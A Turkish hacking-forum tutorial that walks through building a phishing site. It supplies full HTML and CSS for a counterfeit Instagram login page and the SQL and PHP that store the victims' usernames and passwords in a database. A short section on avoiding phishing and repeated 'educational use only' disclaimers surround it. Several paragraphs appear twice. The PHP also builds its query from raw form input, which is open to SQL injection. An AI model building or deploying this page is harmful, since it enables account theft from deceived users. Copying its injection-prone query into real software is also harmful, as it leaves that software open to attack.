Merhaba sayın TurkHackTeam üyeleri öncellikle konuma hoş geldiniz, bu konumda sizlere bir phishing sitesi nasıl yapılır, nasıl yapılıyor konusunu anlatacağım. Bize eşlik edecek teknolojiler arasında HTML, CSS, PHP, SQL ve ara yüz olarak da phpMyAdmin kullanacağız. Ondan önce phishing nedir? Ne amaçla kullanırız gibi konuları bilmekte fayda var. Şunu da belirteyim konum tamamı ile eğitim amaçlı olup olası bir yasa dışı durumunda sorumluluk kabul etmemekteyim. Yapılan eylemlerden kişi sorumludur.
~ Phishing Nedir? ~
Phishing türkçe adı ile oltalama, özellikle sosyal mühendislik ile beraber kullanılarak kullanıcıdan çeşitli verilerini çaldığımız bir saldırı türüdür. Phsihing saldırısında önemli olan kısım araçlar, web siteleri, toolar değil psikolojidir. Bu saldırı benim gözümde kandırma sanatıdır. Verisini çalmak istediğiniz kişiyi iyi tanımak, manipüle etmek bu saldırı için önemli bir rol oynar.
Genellikle saldırgan mail üzerinden iletişime geçer ve çeşitli senaryolar ile sizi kandırmaya yönelip cümleler kurar. Örnek vermek gerekirse tıpkı instagramdan gelmiş bir mail atar ve hesabınızın taklit suçundan kapatılacağını söyler ve doğrulama ister, ardında da size bir link bırakır sizde linke tıklayıp kullanıcı adınızı ve şifrenizi girdiğiniz zaman saldırgan sizin hesabınızı ele geçirir.
Aslında bu saldırı dediğim gibi üstte de okuduğunuz üzere psikoloji odaklı bir saldırı türüdür, bizim yapacağımız şey ise saldırganın kullandığı çeşitli araçlardan birini yapmak. Kaba tabiri ile anlatmak gerekirse yapacağımız şey kullanıcıdan aldığımız veriyi bizim oluşturduğumuz veri tabanına göndermek. Bu sayede kullanıcının kullanıcı adı ve şifresini rahatlıkla görmek.
Öncelikle sitenin tasarımını yapmakla başlayalım. HTML ve CSS kullanacağız her site de olduğu gibi. Burada bizim için önemli olan kısım bir login yani giriş sayfası yapmak Olacak. Sitenin tasarımı bana ait değil internetten çeşitli sitelerden aldım çünkü web tasarımı konusunda iyi değilim alanım değildir.
Arada ki farkı anlamak gerekiyor, phishing sitesi yapmak normal bir site yapmaktan, alış veriş sitesi yapmaktan, haber sitesi yapmaktan farksız. Burada önemli olan kısım odaklanmamız gereken kısım veri çalmak. O yüzden phishing sitesi yapmak farklı farklı yöntemler kullanılmıyor. Burada önemli olan taraf yaptığınız sitenin amacıdır.
~ Phishing Nedir? ~
Phishing türkçe adı ile oltalama, özellikle sosyal mühendislik ile beraber kullanılarak kullanıcıdan çeşitli verilerini çaldığımız bir saldırı türüdür. Phsihing saldırısında önemli olan kısım araçlar, web siteleri, toolar değil psikolojidir. Bu saldırı benim gözümde kandırma sanatıdır. Verisini çalmak istediğiniz kişiyi iyi tanımak, manipüle etmek bu saldırı için önemli bir rol oynar.
Genellikle saldırgan mail üzerinden iletişime geçer ve çeşitli senaryolar ile sizi kandırmaya yönelip cümleler kurar. Örnek vermek gerekirse tıpkı instagramdan gelmiş bir mail atar ve hesabınızın taklit suçundan kapatılacağını söyler ve doğrulama ister, ardında da size bir link bırakır sizde linke tıklayıp kullanıcı adınızı ve şifrenizi girdiğiniz zaman saldırgan sizin hesabınızı ele geçirir.
Aslında bu saldırı dediğim gibi üstte de okuduğunuz üzere psikoloji odaklı bir saldırı türüdür, bizim yapacağımız şey ise saldırganın kullandığı çeşitli araçlardan birini yapmak. Kaba tabiri ile anlatmak gerekirse yapacağımız şey kullanıcıdan aldığımız veriyi bizim oluşturduğumuz veri tabanına göndermek. Bu sayede kullanıcının kullanıcı adı ve şifresini rahatlıkla görmek.
Öncelikle sitenin tasarımını yapmakla başlayalım. HTML ve CSS kullanacağız her site de olduğu gibi. Burada bizim için önemli olan kısım bir login yani giriş sayfası yapmak Olacak. Sitenin tasarımı bana ait değil internetten çeşitli sitelerden aldım çünkü web tasarımı konusunda iyi değilim alanım değildir.
Arada ki farkı anlamak gerekiyor, phishing sitesi yapmak normal bir site yapmaktan, alış veriş sitesi yapmaktan, haber sitesi yapmaktan farksız. Burada önemli olan kısım odaklanmamız gereken kısım veri çalmak. O yüzden phishing sitesi yapmak farklı farklı yöntemler kullanılmıyor. Burada önemli olan taraf yaptığınız sitenin amacıdır.
HTML:
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="style.css">
</head>
<body>
<form action="login.php" method="POST" style="max-width:500px;margin:auto">
<h2>İnstagram Giriş</h2>
<div class="input-container">
<i class="fa fa-user icon"></i>
<input class="input-field" type="text" placeholder="Kullanıcı adınızı giriniz" name="usrname">
</div>
<div class="input-container">
<i class="fa fa-key icon"></i>
<input class="input-field" type="password" placeholder="parolanızı giriniz" name="psword">
</div>
<button type="submit" name="girisyap" class="btn">Giriş Yap</button>
</form>
</body>
</html>
Aynı şekilde iskeletimizin daha iyi gösterebilmek için CSS kodlarımızı yazıyoruz.
CSS:
body {font-family: Arial, Helvetica, sans-serif;}
* {box-sizing: border-box;}
.input-container {
display: -ms-flexbox; /* IE10 */
display: flex;
width: 100%;
margin-bottom: 15px;
}
.icon {
padding: 10px;
background: dodgerblue;
color: white;
min-width: 50px;
text-align: center;
}
.input-field {
width: 100%;
padding: 10px;
outline: none;
}
.input-field:focus {
border: 2px solid dodgerblue;
}
/* Set a style for the submit button */
.btn {
background-color: dodgerblue;
color: white;
padding: 15px 20px;
border: none;
cursor: pointer;
width: 100%;
opacity: 0.9;
border-radius: 10px;
}
.btn:hover {
opacity: 1;
}
Ve sitenin görünümü şu şekil;
HTML kısmı özellikle PHP ile beraber çalıştığımız için önemli bir kısım özellikle form tagı ve içerisinde ki inputlar. Form tagının içerisinde ki action ve method kısımları bizim için kilit nokta. POST ile kullanıcıdan alınan veriyi veri tabanına yazdıracağız. Action kısmı ile de aynı sayfa içerisinde işlem yapacağız, farklı bir sayfaya yönlendirme olmadan.
Aynı şey buton içinde geçerli, kullanıcıdan aldığımız kullanıcı adını ve şifreyi veri tabanına gönderecek nokta buton kısmı. Onunda PHP de ki yeri büyük.
Öncelikle bir veri tabanı oluşturmakla başlayalım, SQL de veri tabanı oluşturmak için çeşitli sorgular var. phpMyAdmin üzerinden kendimiz elle manuel bir şekilde de açabiliriz fakat SQL sorguları ile açmamız öğrenim açısından çok daha sağlıklı.
SQL:
CREATE DATABASE users DEFAULT CHARACTER SET utf8 COLLATE utf8_turkish_ci;
Burada "users" adında bir veri tabanı oluşturduk, ve Türkçe karakter ve büyük küçük hard duyarlılığını da ekledim. bu sayede kullanıcıdan alınan Türkçe karakter. " Ç Ö Ğ Ü" veya "aLi vElİ mEhmEt" gibi Türkçe karakter ve büyük küçük harfleri rahatlıkla veri tabanına yazdırabileceğiz.
Sonrasında veri tabanımıza tablo eklememiz gerekiyor çünkü kullanıcıdan alınan verileri oluşturduğumuz tablolar içerisine yazdıracağız. Tablo açmadan önce kesinleştirmemiz gereken kısımlar var. Kullanıcılardan hangi verileri alacağız. Telefon numarası, email, kullanıcı adı, şifre gibi... Almak istediğiniz verinin sayısına göre tablo oluşturmanız gerekmekte. Biz sadece 2 adet alacağız kullanıcı adını ve şifreyi. O yüzden bize iki adet tablo yeter. O halde tabloları oluşturmaya geçelim.
SQL:
CREATE TABLE users(
id tinyint AUTO_INCREMENT PRIMARY KEY,
username varchar(100) NOT NULL,
password varchar(100) NOT NULL
);
Burada "CREATE TABLE" sorgusu ile "users" adında bir tablo oluşturdum içerisinde id değeri, kullanıcı adı ve şifre adında 3 adet sütun oluşturdum. Bunları sonradan PHP ile bağlayıp kullanıcıdan aldığımız verileri içerisine yazdıracağız.
İD değerine AUTO_INCREMENT değerini verdim yani kendisi yeni bir kullanıcı eklendiği zaman artacak. İleri de daha rahat anlayacaksınız, Mesela bir kullanıcı verilerini girdiği zaman onun değeri 1 farklı biri girdiği zaman 2 başka biri girdiği zaman 3 şeklinde olacak ve otomatikmen kendisi artacak.
Peki yanlarında ki primary key, varchar ve parantez içerisinde ki (100) nedir? Ona da değinelim. primary key adı üstünde özel anahtar. Bir birinden farklı bir birinden özel karakterleri kullanacağımız zaman kullanırız. Mesela sisteme giriş yapan ilk kullanıcının aldığı id değeri 1 farklı bir kullanıcının aldığı değer 2, iki kullanıcı da aynı id değerini alamaz. Her birinin id değeri farklı olması gerekir. O sebepten kullanırız.
varchar ise kısa veya orta uzunlukta alınan veriyi depolamak için kullanırız. Bizim alacağımız kullanıcı adı ve şifreler kısa olacağından varchar kullanmak en sağlıklısıdır. İçerisine yazmış olduğum (100) sayısı da sadece 100 karakterlik bir veriyi depolayacağı anlamına geliyor.
Peki yanlarında ki primary key, varchar ve parantez içerisinde ki (100) nedir? Ona da değinelim. primary key adı üstünde özel anahtar. Bir birinden farklı bir birinden özel karakterleri kullanacağımız zaman kullanırız. Mesela sisteme giriş yapan ilk kullanıcının aldığı id değeri 1 farklı bir kullanıcının aldığı değer 2, iki kullanıcı da aynı id değerini alamaz. Her birinin id değeri farklı olması gerekir. O sebepten kullanırız.
varchar ise kısa veya orta uzunlukta alınan veriyi depolamak için kullanırız. Bizim alacağımız kullanıcı adı ve şifreler kısa olacağından varchar kullanmak en sağlıklısıdır. İçerisine yazmış olduğum (100) sayısı da sadece 100 karakterlik bir veriyi depolayacağı anlamına geliyor.
Sonrasında oluşturduğumuz veri tabanını PHP ile bir birine bağlama işlemini yapacağız, Ben burada bağlantı anlamına gelen connect.php şeklinde bir dosya oluşturuyorum bu dosya da SQL bağlantımızı yapacağız.
PHP:
<?php
$host = "localhost";
$username = "root";
$password = "";
$dbname = "users";
$connect = mysqli_connect($host, $username, $password, $dbname);
mysqli_set_charset($connect, "UTF8");
?>
Burada 4 adet değişken tanımlamamız gerekiyor ben isimlerine host, username, password, dbname şeklinde dedim. Burada ki host bizim kendi cihazımız olduğu için localhost olarak giriyoruz. Username kısmında ki root. Apache sunucusu uygulamasını indirdiğimizde mesela XAMPP, WAMPP, MAMPP gibi. Bize bir kullanıcı adı verir. O da root şeklinde olur eğer bunu değiştirmediysek root şeklinde gireceğiz.
Aynı şekilde password kısmı da sunucuya erişim sağladığımız zaman belirlediğimiz şifreyi girmemiz gerekiyor girmezsek eğer boş bırakmamız gerekiyor. dbname açılımı database name türkçesi veri tabanı ismi. Burada bizden oluşturduğumuz veri tabanının ismini istiyor üstte bizim belirttiğimiz isim neydi? users idi. O yüzden users koymamız gerekiyor.
sonrasında SQL ile PHP arasında ki iletişimi kurabilmemiz için mysqli kütüphanesini kullanacağız. Aynı şekilde bağlantı anlamına gelen connect adında bir değişken oluşturuyorum ve içerisine kütüphanemizi yerleştiriyorum. Sonrasında bağlantı kurabilmemiz adına üstte tanımladığımız değişkenleri içerisine yazıyorum. Sonrasında kullanıcıdan alınan veriyi sorunsuz bir şekilde veri tabanına yazdırabilmek için bir karakter seti tanımlıyorum ve bağlantı değişkenini içerisine yazıyorum ve utf8'i de dahil ediyorum böylece Türkçe karakter sorunu da ortadan kalkmış oluyor.
Aynı şekilde password kısmı da sunucuya erişim sağladığımız zaman belirlediğimiz şifreyi girmemiz gerekiyor girmezsek eğer boş bırakmamız gerekiyor. dbname açılımı database name türkçesi veri tabanı ismi. Burada bizden oluşturduğumuz veri tabanının ismini istiyor üstte bizim belirttiğimiz isim neydi? users idi. O yüzden users koymamız gerekiyor.
sonrasında SQL ile PHP arasında ki iletişimi kurabilmemiz için mysqli kütüphanesini kullanacağız. Aynı şekilde bağlantı anlamına gelen connect adında bir değişken oluşturuyorum ve içerisine kütüphanemizi yerleştiriyorum. Sonrasında bağlantı kurabilmemiz adına üstte tanımladığımız değişkenleri içerisine yazıyorum. Sonrasında kullanıcıdan alınan veriyi sorunsuz bir şekilde veri tabanına yazdırabilmek için bir karakter seti tanımlıyorum ve bağlantı değişkenini içerisine yazıyorum ve utf8'i de dahil ediyorum böylece Türkçe karakter sorunu da ortadan kalkmış oluyor.
Evet şimdi gelelim kullanıcıdan aldığımız veriyi veri tabanına yazdırma kısmına, bunun için giriş yap anlamına gelen login.php adında bir dosya oluşturuyorum ve connect.php adında ki dosyamı login.php dosyam ile bağlıyorum.
PHP:
<?php
include("connect.php");
if(isset($_POST["girisyap"]))
{
$name = $_POST["usrname"];
$psword = $_POST["psword"];
$add = "INSERT INTO users (username, password) VALUES ('$name', '$psword')";
$addword = mysqli_query($connect, $add);
mysqli_close($connect);
}
?>
Bunu da include keywordu ile yapıyorum. Sonrasında HTML kısmında geri dönmemiz gerek. En başta buton demiştim o butonu şimdi burada kullanacağız. if sorgusu içerisinde girisyap butonuna tıkladığımız zaman alacağı bilgileri yazıyoruz Bunu da POST ile yapıyoruz. Sonrasında name adında bir değişken tanımlıyoruz tekrardan html koduna geri dönmemiz gerekiyor form tagının içerisinde ki inputların name kısmına usrname yazmıştık onu burada kullanıyoruz.
name adını verdiğim değişkenin içerisine kullanıcılardan bilgi almak için kullandığımız POST'un içerisine yazıyoruz aynı işlemi şifre için de yapıyoruz bu aynı şekil psword adını verdiğimiz değişkenin içerisine. Sonra ekle anlamına gelen add adında bir değişken tanımlıyoruz ve birazcık SQL sorgusu yazmamız gerekiyor.
users adı verdiğimiz veri tabanına kullanıcılardan gelen verileri eklemek için INSERT INTO yazdıktan sonra veri tabanının ismini yazıyoruz, ve veri tabanında hangi alanlara verinin yazılması gerektiğini söylüyoruz bizim için sadece username ve password olduğu için onu yazıyoruz. VALUES ile tabloya kullanıcıdan alınan veriyi yazabilmek için kullanırız. Ve buradan bizden gerekli alanları doldurmamızı istiyor. biz html kısmında input taglarının name kısmını ne yapmıştık? usrname ve psword yapmıştık.
Ve onları da bir değişkenin içerisine atmıştık onu da name ve psword değişkeninin içerisine atmıştık bu sayede kullanıcıdan aldığımız veri oluşturduğumuz tablonun içerisine gidiyor.
Sonrasında mysqli_close'un içerisine bağlantı değişkenimi yazıyorum ve işlemi bitiriyorum. Sonrasında ise bir kaç deneme yapıyorum. Bir kaç örnek isim gireceğim isimler tamamı ile hayal ürünüdür anlık uydurduğum şeylerdir.
Gördüğünüz üzere oluşturduğum tablolar içerisinde ki kullanıcı adını ve şifresini kolay bir şekilde görebiliyorum. Bu genel olarak her veri tabanı işleminde olan şeyler burada önemli olan sahip olduğumuz bilgiyi nasıl kullandığımızdır. Önemli olan ortada ki ayrımı anlayabilmek ve görebilmektir. Phishing sitesinin yapımı bir alış veriş sitesi yapımından, veya normal bir site yapımından farkı yoktur.
Peki şimdi çok fazla kullanıcı bilgisini buraya girdiğini farz edelim, ve biz sadece şifreleri görmek istiyoruz diğer bilgiler ile işimiz yok. Bunun için de aynı şekilde SQL sorgularını kullanmamız gerekmekte.
Gördüğünüz gibi sadece password tablosu içerisinde ki bilgileri görüyoruz. Burada kullandığımız SELECT ve FROM sorgularından faydalanarak yapıyoruz. SELECT ile hangi tabloyu seçeceğimizi belirtiyoruz FROM ile de hangi veri tabanından.
name adını verdiğim değişkenin içerisine kullanıcılardan bilgi almak için kullandığımız POST'un içerisine yazıyoruz aynı işlemi şifre için de yapıyoruz bu aynı şekil psword adını verdiğimiz değişkenin içerisine. Sonra ekle anlamına gelen add adında bir değişken tanımlıyoruz ve birazcık SQL sorgusu yazmamız gerekiyor.
users adı verdiğimiz veri tabanına kullanıcılardan gelen verileri eklemek için INSERT INTO yazdıktan sonra veri tabanının ismini yazıyoruz, ve veri tabanında hangi alanlara verinin yazılması gerektiğini söylüyoruz bizim için sadece username ve password olduğu için onu yazıyoruz. VALUES ile tabloya kullanıcıdan alınan veriyi yazabilmek için kullanırız. Ve buradan bizden gerekli alanları doldurmamızı istiyor. biz html kısmında input taglarının name kısmını ne yapmıştık? usrname ve psword yapmıştık.
Ve onları da bir değişkenin içerisine atmıştık onu da name ve psword değişkeninin içerisine atmıştık bu sayede kullanıcıdan aldığımız veri oluşturduğumuz tablonun içerisine gidiyor.
Sonrasında mysqli_close'un içerisine bağlantı değişkenimi yazıyorum ve işlemi bitiriyorum. Sonrasında ise bir kaç deneme yapıyorum. Bir kaç örnek isim gireceğim isimler tamamı ile hayal ürünüdür anlık uydurduğum şeylerdir.
Gördüğünüz üzere oluşturduğum tablolar içerisinde ki kullanıcı adını ve şifresini kolay bir şekilde görebiliyorum. Bu genel olarak her veri tabanı işleminde olan şeyler burada önemli olan sahip olduğumuz bilgiyi nasıl kullandığımızdır. Önemli olan ortada ki ayrımı anlayabilmek ve görebilmektir. Phishing sitesinin yapımı bir alış veriş sitesi yapımından, veya normal bir site yapımından farkı yoktur.
Peki şimdi çok fazla kullanıcı bilgisini buraya girdiğini farz edelim, ve biz sadece şifreleri görmek istiyoruz diğer bilgiler ile işimiz yok. Bunun için de aynı şekilde SQL sorgularını kullanmamız gerekmekte.
SQL:
SELECT password FROM users;
Gördüğünüz gibi sadece password tablosu içerisinde ki bilgileri görüyoruz. Burada kullandığımız SELECT ve FROM sorgularından faydalanarak yapıyoruz. SELECT ile hangi tabloyu seçeceğimizi belirtiyoruz FROM ile de hangi veri tabanından.
~ Phishing Saldırısından Korunma Yolları ~
Peki bu saldırı türünden nasıl korunacağız? Öncelikle yapmamız gereken hatta bilmemiz gereken şey. Her linke tıklamayacağız, her giriş yap ekranına kişisel bilgilerimizi girmeyeceğiz. Bir sitenin phishing sitesi olup olmadığı tasarımsal olarak kendini ele veriyor zaten. Girdiğiniz site de ters bir şeyler hissederseniz tasarımsal olarak amatörce yapılmış şeyler görürseniz.
Veya farklı bir domain adresine yönlendirilirseniz orada ki linklere tıklamaktan, giriş yapmaktan kaçının. Bu saldırı türü genelde klonlanmış siteler üzerinden yapılıyor alış veriş siteleri veya farklı siteler. Onların da domain adresleri değişiyorsa sizi .php .html .asp uzantılı alanlara yönlendiriyorsa o siteden kaçının. Girdiğiniz sitenin klon bir site olduğunu düşünüyorsanız orjinal site ile isim kıyaslaması yapın, o da yetmezse eğer iki siteninde İP adreslerini kıyaslayın.
Buraya kadar okuyan herkese teşekkür ederim, dediğim gibi bu konu tamamı ile eğitim amaçlı yazılıp bilinç kazanılmasını amaçlamıştır. Olası bir illegalite durumunda kesinlikle sorumluluk kabul etmiyorum. yapılan eylemlerden kişi sorumludur.





